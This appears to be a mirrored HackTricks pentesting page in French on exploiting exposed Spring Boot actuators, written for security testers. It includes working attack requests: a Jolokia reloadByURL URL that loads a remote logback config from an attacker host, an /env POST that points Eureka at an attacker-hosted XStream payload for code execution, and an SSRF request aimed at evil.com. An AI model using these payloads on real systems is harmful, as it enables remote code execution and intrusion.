mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
73 lines
5 KiB
Markdown
73 lines
5 KiB
Markdown
# Spring Actuators
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
|
|
|
</details>
|
|
|
|
## **Contournement de l'authentification Spring**
|
|
|
|
<figure><img src="../../.gitbook/assets/image (924).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
|
|
|
|
## Exploitation des actuateurs Spring Boot
|
|
|
|
**Consultez le post original sur** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
|
|
|
### **Points clés :**
|
|
|
|
* Les actuateurs Spring Boot enregistrent des points de terminaison tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
|
|
* Certains points de terminaison Actuator peuvent exposer des données sensibles ou permettre des actions nuisibles :
|
|
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` et `/heapdump`.
|
|
* Dans Spring Boot 1.x, les actuateurs sont enregistrés sous l'URL racine, tandis que dans 2.x, ils sont sous le chemin de base `/actuator/`.
|
|
|
|
### **Techniques d'exploitation :**
|
|
|
|
1. **Exécution de code à distance via '/jolokia'** :
|
|
* Le point de terminaison `/jolokia` de l'actuateur expose la bibliothèque Jolokia, qui permet l'accès HTTP aux MBeans.
|
|
* L'action `reloadByURL` peut être exploitée pour recharger les configurations de journalisation à partir d'une URL externe, ce qui peut entraîner une XXE aveugle ou une exécution de code à distance via des configurations XML élaborées.
|
|
* URL d'exploitation exemple : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
|
2. **Modification de la configuration via '/env'** :
|
|
* Si les bibliothèques Spring Cloud sont présentes, le point de terminaison `/env` permet la modification des propriétés environnementales.
|
|
* Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, telles que la vulnérabilité de désérialisation XStream dans l'URL de service Eureka.
|
|
* Exemple de requête POST d'exploitation :
|
|
|
|
```
|
|
POST /env HTTP/1.1
|
|
Host: 127.0.0.1:8090
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 65
|
|
|
|
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
|
```
|
|
3. **Autres paramètres utiles** :
|
|
* Les propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` et `spring.datasource.tomcat.max-active` peuvent être manipulées pour diverses exploitations, telles que les injections SQL ou la modification des chaînes de connexion de base de données.
|
|
|
|
### **Informations supplémentaires :**
|
|
|
|
* Une liste complète des actuateurs par défaut peut être trouvée [ici](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
|
* Le point de terminaison `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
|
|
|
|
### **Sujets connexes :**
|
|
|
|
1. **RCE Env + H2** :
|
|
* Détails sur l'exploitation de la combinaison du point de terminaison `/env` et de la base de données H2 peuvent être trouvés [ici](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
|
2. **SSRF sur Spring Boot via une interprétation incorrecte du nom de chemin** :
|
|
* La manipulation par le framework Spring des paramètres de matrice (`;`) dans les noms de chemin HTTP peut être exploitée pour une falsification de requête côté serveur (SSRF).
|
|
* Exemple de requête d'exploitation :
|
|
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|